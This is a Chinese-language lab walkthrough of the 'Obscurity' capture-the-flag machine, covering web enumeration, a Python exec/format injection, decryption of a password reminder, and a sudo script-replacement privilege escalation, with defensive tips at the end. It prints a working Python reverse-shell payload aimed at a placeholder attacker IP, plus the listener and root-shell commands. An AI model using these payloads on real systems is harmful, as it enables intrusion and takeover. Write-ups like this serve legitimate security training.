实战打靶之Obscurity
字数 1214 2025-08-11 22:57:18

Obscurity 靶机渗透实战教学文档

1. 信息收集阶段

1.1 端口扫描

使用nmap进行初始扫描,发现开放以下端口:

  • 22 (SSH)
  • 80 (HTTP)
  • 8080 (HTTP)
  • 9000 (自定义服务)

1.2 Web服务枚举

访问8080端口发现Web界面,页面提示存在一个Python脚本:

  • 使用gobuster进行目录爆破未获有效结果
  • 改用wfuzz进行精确路径fuzz:
    wfuzz -c -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py --hl 6 --hw 367
    
  • 成功定位到脚本路径:/developer/SuperSecureServer.py

2. 漏洞分析

2.1 代码审计关键点

分析SuperSecureServer.py发现以下高危代码段:

info = "output = 'Document: {}'" # 格式化字符串漏洞
exec(info.format(path)) # 直接执行用户可控输入

2.2 漏洞利用条件

  • path参数完全可控
  • 通过构造恶意HTTP请求可注入任意Python代码
  • 服务器会执行注入的代码

3. 漏洞利用

3.1 构造PoC

使用Python反向shell payload:

http://10.10.10.168:8080/';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3.2 获取初始立足点

  1. 在攻击机监听端口:nc -lvnp 2333
  2. 发送恶意请求触发漏洞
  3. 获取交互式shell:python3 -c 'import pty; pty.spawn("/bin/bash")'

4. 横向移动

4.1 发现加密脚本

/home/robert目录发现:

  • SuperSecureCrypt.py - 加密脚本
  • check.txt - 加密测试文件
  • out.txt - 加密输出
  • passwordreminder.txt - 密码提示文件

4.2 解密密码

使用已知密钥"alexandrovich"解密:

python3 SuperSecureCrypt.py -i passwordreminder.txt -d -k alexandrovich -o /dev/shm/.df

4.3 SSH登录

使用解密获得的凭证通过SSH登录

5. 权限提升

5.1 检查sudo权限

sudo -l显示可以root权限执行:

/usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

5.2 分析BetterSSH.py

关键漏洞点:

  1. 临时文件竞争条件:在检查密码后0.1秒才删除/etc/shadow的临时副本
  2. 目录权限问题:/tmp/SSH目录可写

5.3 提权步骤

  1. 创建SSH目录:mkdir /tmp/SSH
  2. 移动原目录:mv BetterSSH BetterSSH-old
  3. 创建恶意脚本:
    #!/usr/bin/env python3
    import pty
    pty.spawn("bash")
    
  4. 执行脚本获取root:sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

6. 关键知识点总结

  1. 模糊测试技巧:使用wfuzz进行精确路径枚举
  2. 代码审计要点:识别危险的exec/format组合
  3. 反向Shell构造:Python多平台反向shell实现
  4. 加密算法分析:识别自定义加密算法的弱点
  5. 竞争条件利用:利用时间差获取敏感文件
  6. 权限提升思路:结合sudo权限和目录控制进行提权

7. 防御建议

  1. 避免使用exec执行用户输入
  2. 对格式化字符串进行严格过滤
  3. 设置适当的文件系统权限
  4. 避免在临时文件中存储敏感信息
  5. 使用安全的密码哈希比较方法
Obscurity 靶机渗透实战教学文档 1. 信息收集阶段 1.1 端口扫描 使用nmap进行初始扫描,发现开放以下端口: 22 (SSH) 80 (HTTP) 8080 (HTTP) 9000 (自定义服务) 1.2 Web服务枚举 访问8080端口发现Web界面,页面提示存在一个Python脚本: 使用gobuster进行目录爆破未获有效结果 改用wfuzz进行精确路径fuzz: 成功定位到脚本路径: /developer/SuperSecureServer.py 2. 漏洞分析 2.1 代码审计关键点 分析 SuperSecureServer.py 发现以下高危代码段: 2.2 漏洞利用条件 path 参数完全可控 通过构造恶意HTTP请求可注入任意Python代码 服务器会执行注入的代码 3. 漏洞利用 3.1 构造PoC 使用Python反向shell payload: 3.2 获取初始立足点 在攻击机监听端口: nc -lvnp 2333 发送恶意请求触发漏洞 获取交互式shell: python3 -c 'import pty; pty.spawn("/bin/bash")' 4. 横向移动 4.1 发现加密脚本 在 /home/robert 目录发现: SuperSecureCrypt.py - 加密脚本 check.txt - 加密测试文件 out.txt - 加密输出 passwordreminder.txt - 密码提示文件 4.2 解密密码 使用已知密钥"alexandrovich"解密: 4.3 SSH登录 使用解密获得的凭证通过SSH登录 5. 权限提升 5.1 检查sudo权限 sudo -l 显示可以root权限执行: 5.2 分析BetterSSH.py 关键漏洞点: 临时文件竞争条件:在检查密码后0.1秒才删除 /etc/shadow 的临时副本 目录权限问题: /tmp/SSH 目录可写 5.3 提权步骤 创建SSH目录: mkdir /tmp/SSH 移动原目录: mv BetterSSH BetterSSH-old 创建恶意脚本: 执行脚本获取root: sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py 6. 关键知识点总结 模糊测试技巧 :使用wfuzz进行精确路径枚举 代码审计要点 :识别危险的exec/format组合 反向Shell构造 :Python多平台反向shell实现 加密算法分析 :识别自定义加密算法的弱点 竞争条件利用 :利用时间差获取敏感文件 权限提升思路 :结合sudo权限和目录控制进行提权 7. 防御建议 避免使用exec执行用户输入 对格式化字符串进行严格过滤 设置适当的文件系统权限 避免在临时文件中存储敏感信息 使用安全的密码哈希比较方法